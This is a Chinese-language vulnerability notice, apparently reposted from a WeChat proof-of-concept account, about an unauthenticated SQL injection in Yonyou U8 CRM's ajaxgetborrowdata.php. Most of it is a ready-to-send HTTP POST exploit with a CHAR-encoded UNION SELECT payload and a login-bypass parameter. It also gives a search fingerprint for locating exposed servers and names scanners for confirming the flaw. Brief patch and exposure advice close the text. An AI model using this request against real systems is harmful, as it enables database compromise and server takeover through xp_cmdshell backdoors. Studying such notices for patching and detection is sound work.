/borrowout/ajaxgetborrowdata.php 文件多个方法存在SQL注入漏洞，未经身份验证的攻击者通过漏洞执行任意SQL语句，调用xp_cmdshell写入后门文件，执行任意代码，从而获取到服务器权限。
title="用友U8CRM"
POST /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getWarehouseOtherInfo HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=bgsesstimeout-;Content-Type: application/x-www-form-urlencoded; charset=utf-8Connection: closecWhCode=1%27+UNION+ALL+SELECT+CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%2899%29%2BCHAR%28105%29%2BCHAR%28114%29%2BCHAR%2887%29%2BCHAR%28120%29%2BCHAR%2874%29%2BCHAR%2866%29%2BCHAR%28106%29%2BCHAR%2885%29%2BCHAR%2898%29%2BCHAR%2886%29%2BCHAR%2874%29%2BCHAR%2875%29%2BCHAR%2868%29%2BCHAR%28108%29%2BCHAR%2899%29%2BCHAR%28114%29%2BCHAR%2890%29%2BCHAR%2867%29%2BCHAR%2874%29%2BCHAR%28114%29%2BCHAR%2873%29%2BCHAR%2876%29%2BCHAR%2877%29%2BCHAR%28101%29%2BCHAR%2870%29%2BCHAR%28122%29%2BCHAR%2888%29%2BCHAR%2886%29%2BCHAR%28103%29%2BCHAR%2881%29%2BCHAR%2899%29%2BCHAR%28107%29%2BCHAR%2865%29%2BCHAR%2868%29%2BCHAR%2867%29%2BCHAR%2885%29%2BCHAR%2876%29%2BCHAR%2879%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%28113%29--+KRVC
sqlmap验证
nuclei
afrog
xray
1、关闭互联网暴露面或接口设置访问权限
2、打补丁：
https://security.yonyou.com/#/noticeInfo?id=649
原文始发于微信公众号（nday POC）：用友U8 CRM ajaxgetborrowdata.php SQL注入漏洞
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